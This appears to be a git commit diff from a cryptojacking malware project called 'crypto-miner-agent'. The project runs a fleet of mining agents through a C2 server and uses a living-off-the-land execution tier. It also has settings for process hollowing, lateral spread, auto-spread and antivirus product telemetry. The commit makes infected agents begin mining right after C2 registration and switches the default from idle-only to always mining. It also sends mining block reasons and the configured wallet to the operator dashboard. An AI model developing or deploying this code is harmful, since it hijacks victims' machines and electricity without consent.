Fix simple deploy mining: refresh auth tier policy and mine immediately.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Deploy and Mine agents were stuck at 0 H/s because idle mining_mode blocked workers and the tier orchestrator kept pre-auth defaults instead of server ForceTier=cpu_inprocess. Refresh tiers after auth, require C2 before start, surface mining_block_reason in stats_batch.
This commit is contained in:
AetherForge
2026-06-07 20:30:24 -07:00
parent 9e870fff8b
commit 456988caaa
14 changed files with 105 additions and 10 deletions

View File

@@ -1252,6 +1252,11 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.StratumEgress = c.stratumEgress(false)
}
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
if stats.MiningHashrate < 1 {
if reason := PrimaryMiningBlockReason(c.collectMiningDiagnostics()); reason != "" {
stats.MiningBlockReason = reason
}
}
if depth := c.contingencyDepthForStats(); depth > 0 {
stats.ContingencyDepth = depth
}
@@ -1491,13 +1496,15 @@ func (c *AgentClient) kickMiningAfterAuth() {
if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
return
}
if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
return
}
if c.miningCtx == nil || c.miningChain == nil {
return
}
go func() {
c.miningChain.refreshTierOrchestrator()
if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
log.Printf("[mining] tier policy refreshed after auth (simple_deploy/defer)")
return
}
log.Printf("[mining] restarting chain after auth with server policy")
c.miningChain.Restart(c.miningCtx)
}()

View File

@@ -126,8 +126,19 @@ func (r *MiningChainRunner) Start(ctx context.Context) {
r.startMiningCascade(ctx)
}
// refreshTierOrchestrator rebuilds the tier onion from the latest server/auth policy.
// newMiningChainRunner() captures policy at process start — auth may apply ForceTier later.
func (r *MiningChainRunner) refreshTierOrchestrator() {
c := r.client
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
r.tiers = miner.NewTierOrchestrator(c.cfg, probes, c.miningTierPolicy(), r.tiersHooks(func() bool {
return newGPUMiner(c.cfg) != nil
}), r.reportTierEvent)
}
// startMiningCascade runs the existing LOTL mining onion + fallback chain.
func (r *MiningChainRunner) startMiningCascade(ctx context.Context) {
r.refreshTierOrchestrator()
execMode, containerRT := miner.ResolveExecutionMode(r.client.cfg)
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
tierReport := r.tiers.Report()

View File

@@ -3,6 +3,7 @@ package client
import (
"encoding/json"
"runtime"
"strings"
"time"
"crypto-miner-agent/miner"
@@ -26,6 +27,7 @@ type MiningDiagnostics struct {
C2Connected bool `json:"c2_connected"`
LastJobAgeSec *float64 `json:"last_job_age_sec,omitempty"`
MiningMode string `json:"mining_mode"`
Wallet string `json:"wallet,omitempty"`
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
InstallDir string `json:"install_dir,omitempty"`
@@ -112,6 +114,7 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
d.LastJobAgeSec = &age
}
d.MiningMode = c.cfg.MiningMode
d.Wallet = c.cfg.Wallet
d.PoolHost = c.cfg.PoolHost
d.PoolPort = c.cfg.PoolPort
if dir, err := c.cfg.InstallDirectory(); err == nil {
@@ -254,8 +257,31 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
return d
}
// PrimaryMiningBlockReason returns the best single operator-facing explanation for zero hashrate.
func PrimaryMiningBlockReason(d MiningDiagnostics) string {
if len(d.LikelyBlockers) > 0 {
return d.LikelyBlockers[0]
}
if d.CPU.ScheduleBlocked {
return "mining_mode schedule/idle guard blocking workers"
}
if d.ChainExhausted {
return "mining fallback chain exhausted — all primary methods failed"
}
if !d.C2Connected {
return "waiting for C2 registration"
}
return ""
}
func (c *AgentClient) inferMiningBlockers(d MiningDiagnostics) []string {
var blockers []string
if strings.TrimSpace(d.Wallet) == "" {
blockers = append(blockers, "wallet not configured — set Calibrate wallet and re-forge")
}
if strings.TrimSpace(d.PoolHost) == "" {
blockers = append(blockers, "pool host not configured — set Calibrate pool and re-forge")
}
if d.CPU.RemotePaused {
blockers = append(blockers, "mining paused by remote command or healthy container delegation")
}

View File

@@ -5,6 +5,8 @@ import (
"log"
"strings"
"time"
"crypto-miner-agent/deploy"
)
// MiningDiagnosticsReady reports whether the agent may start the mining fallback chain.
@@ -49,14 +51,20 @@ func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
c.miningChain.Start(ctx)
}
requireC2 := c.cfg.SimpleDeploy || deploy.WantsDeferMining()
for {
if MiningDiagnosticsReady(c.collectMiningDiagnostics()) {
tryStart("diagnostics pass")
return
}
if time.Now().After(deadline) {
tryStart("diagnostics wait timeout")
return
if requireC2 && !c.connected.Load() {
log.Printf("[mining] still waiting for C2 auth (simple_deploy/defer) — not starting without registration")
deadline = time.Now().Add(maxWait)
} else {
tryStart("diagnostics wait timeout")
return
}
}
select {
case <-ctx.Done():

View File

@@ -161,7 +161,8 @@ type StatsPayload struct {
ChainExhausted bool `json:"chain_exhausted,omitempty"`
// Fleet health telemetry — routed via agent WSS stats_batch (same port as heartbeat)
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
MiningBlockReason string `json:"mining_block_reason,omitempty"`
LOTLTier string `json:"lotl_tier,omitempty"`
LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"`
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`

View File

@@ -51,6 +51,25 @@ func TestSimpleDeployWaitsForC2BeforeMining(t *testing.T) {
time.Sleep(200 * time.Millisecond)
}
func TestSimpleDeployRefreshesAuthForceTier(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.SimpleDeploy = true
cfg.MinerExecution = "inprocess"
c := miningChainTestClient(t, cfg)
r := c.newMiningChainRunner()
if len(r.tiers.Report().TierChainOrder) == 0 {
t.Fatal("expected default tier chain before auth")
}
raw, _ := json.Marshal(map[string]string{"force_tier": "cpu_inprocess"})
c.applyMiningTierPolicyJSON(raw)
r.refreshTierOrchestrator()
chain := r.tiers.Report().TierChainOrder
if len(chain) != 1 || chain[0] != miner.TierCPUInprocess {
t.Fatalf("expected force cpu_inprocess after auth refresh, got %v", chain)
}
}
func TestKickMiningAfterAuthSkipsSimpleDeploy(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()

View File

@@ -1192,7 +1192,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
At string `json:"at"`
} `json:"failed_methods,omitempty"`
// Fleet health mining telemetry (coalesced into stats_batch)
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
MiningBlockReason string `json:"mining_block_reason,omitempty"`
LOTLTier string `json:"lotl_tier,omitempty"`
LOTLAttempts []struct {
Tier string `json:"tier"`
@@ -1356,6 +1357,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if stats.MiningHashrate > 0 {
broadcast["mining_hashrate"] = stats.MiningHashrate
}
if stats.MiningBlockReason != "" {
broadcast["mining_block_reason"] = stats.MiningBlockReason
}
if stats.LOTLTier != "" {
broadcast["lotl_tier"] = stats.LOTLTier
}

View File

@@ -42,7 +42,11 @@ export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction
{stuck.length} agent{stuck.length === 1 ? '' : 's'} connected not hashing
</strong>
<p className="form-hint" style={{ margin: '0.35rem 0 0' }}>
{status.message}. &quot;Deploy&quot; here means C2 registration + mining tier probe not lateral spread.
{status.message}
{sample.mining_block_reason && sample.mining_block_reason !== status.message
? `${sample.mining_block_reason}`
: ''}
. &quot;Deploy&quot; here means C2 registration + mining tier probe not lateral spread.
Check Calibrate wallet/pool, then run diagnostics or restart mining.
</p>
</div>

View File

@@ -59,6 +59,7 @@ export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
...(update.stratum_overlay !== undefined ? { stratum_overlay: update.stratum_overlay } : {}),
...(update.chain_exhausted !== undefined ? { chain_exhausted: update.chain_exhausted } : {}),
...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}),
...(update.mining_block_reason !== undefined ? { mining_block_reason: update.mining_block_reason } : {}),
...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}),
...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}),
...(update.atlas_skips !== undefined ? { atlas_skips: update.atlas_skips } : {}),

View File

@@ -59,6 +59,7 @@ describe('simpleMinePreset', () => {
const p = simpleMinePreset();
expect(p.simple_deploy).toBe(true);
expect(p.miner_execution).toBe('inprocess');
expect(p.mining_mode).toBe('always');
expect(p.lotl_onion_enabled).toBe(false);
expect(p.auto_spread).toBe(false);
});

View File

@@ -34,7 +34,7 @@ export function simpleDeployStatus(agent: Agent): SimpleDeployStatus {
}
if (agent.chain_exhausted) {
const err = agent.last_error || agent.failed_methods?.[0]?.reason;
const err = agent.mining_block_reason || agent.last_error || agent.failed_methods?.[0]?.reason;
return {
phase: 'failed',
message: err || 'Mining chain exhausted — all tiers failed',
@@ -42,6 +42,14 @@ export function simpleDeployStatus(agent: Agent): SimpleDeployStatus {
};
}
if (agent.mining_block_reason) {
return {
phase: 'testing',
message: agent.mining_block_reason,
tier,
};
}
if (tier) {
return {
phase: 'testing',
@@ -94,6 +102,6 @@ export function simpleMinePreset(): {
process_hollowing: false,
remote_aggressive: false,
fusion_enabled: false,
mining_mode: 'idle',
mining_mode: 'always',
};
}

View File

@@ -50,6 +50,7 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
if (u.services !== undefined && agent.services !== u.services) return false;
if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false;
if (u.mining_block_reason !== undefined && agent.mining_block_reason !== u.mining_block_reason) return false;
if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false;
if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false;
if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;

View File

@@ -94,6 +94,8 @@ export interface Agent {
/** Effective mining hashrate from stats_batch (CPU+GPU rollup when omitted). */
mining_hashrate?: number;
/** Primary reason agent reports zero hashrate (from stats_batch). */
mining_block_reason?: string;
/** Living-off-the-land execution tier reported by agent. */
lotl_tier?: string;
/** Per-tier attempt history from agent TierReport. */

View File

@@ -76,6 +76,8 @@ export interface WSStatsUpdate {
/** Effective mining hashrate (H/s) — may differ from hashrate_15m when GPU/container active. */
mining_hashrate?: number;
/** Primary reason for zero hashrate when agent is online. */
mining_block_reason?: string;
/** LOTL tier label for spread telemetry badges. */
lotl_tier?: string;
lotl_attempts?: import('./lotl').TierAttempt[];